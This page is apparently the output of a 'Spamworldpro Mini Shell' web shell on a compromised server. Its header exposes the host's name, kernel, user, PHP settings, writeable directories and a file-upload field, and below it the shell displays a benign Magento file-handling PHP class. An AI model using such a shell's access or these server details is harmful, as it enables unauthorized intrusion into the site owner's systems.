Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/app/code/Soon/DataSync/Model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/app/code/Soon/DataSync/Model/File.php
<?php
/**
 * @license http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
 * @author Hervé Guétin <[email protected]> <@herveguetin>
 * @copyright Copyright (c) 2017 Agence Soon (http://www.agence-soon.fr)
 */

namespace Soon\DataSync\Model;

use Magento\Framework\Filesystem\Io\File as Io;
use Magento\Framework\Filesystem\Io\FileFactory as IoFactory;

class File
{
    /**
     * @var IoFactory
     */
    private $ioFactory;
    /**
     * @var string
     */
    private $file;
    /**
     * @var string
     */
    private $path;
    /**
     * @var Io
     */
    private $io;

    public function __construct(
        IoFactory $ioFactory,
        $file = ''
    )
    {
        $this->ioFactory = $ioFactory;
        $this->file = $file;

        $this->init();
    }

    private function init()
    {
        $this->preparePaths();
        $io = $this->ioFactory->create();
        /** @var Io $io */
        $io->setAllowCreateFolders(true);

        $this->io = $io;
    }

    private function preparePaths()
    {
        $pathArr = explode('/', $this->file);
        array_pop($pathArr);
        $this->path = implode('/', $pathArr);
    }

    /**
     * @param string $data
     */
    public function write(string $data)
    {
        $this->io->checkAndCreateFolder($this->path);
        $this->io->write($this->file, $data);
    }

    /**
     * @return bool|string
     * @throws \Exception
     */
    public function read()
    {
        if (!file_exists($this->file)) {
            throw new \Exception(sprintf('File %s does not exist', $this->file));
        }

        return $this->io->read($this->file);
    }

    /**
     * @return bool
     * @throws \Exception
     */
    public function rm()
    {
        if (!file_exists($this->file)) {
            throw new \Exception(sprintf('File %s does not exist', $this->file));
        }

        return $this->io->rm($this->file);
    }
}

Spamworldpro Mini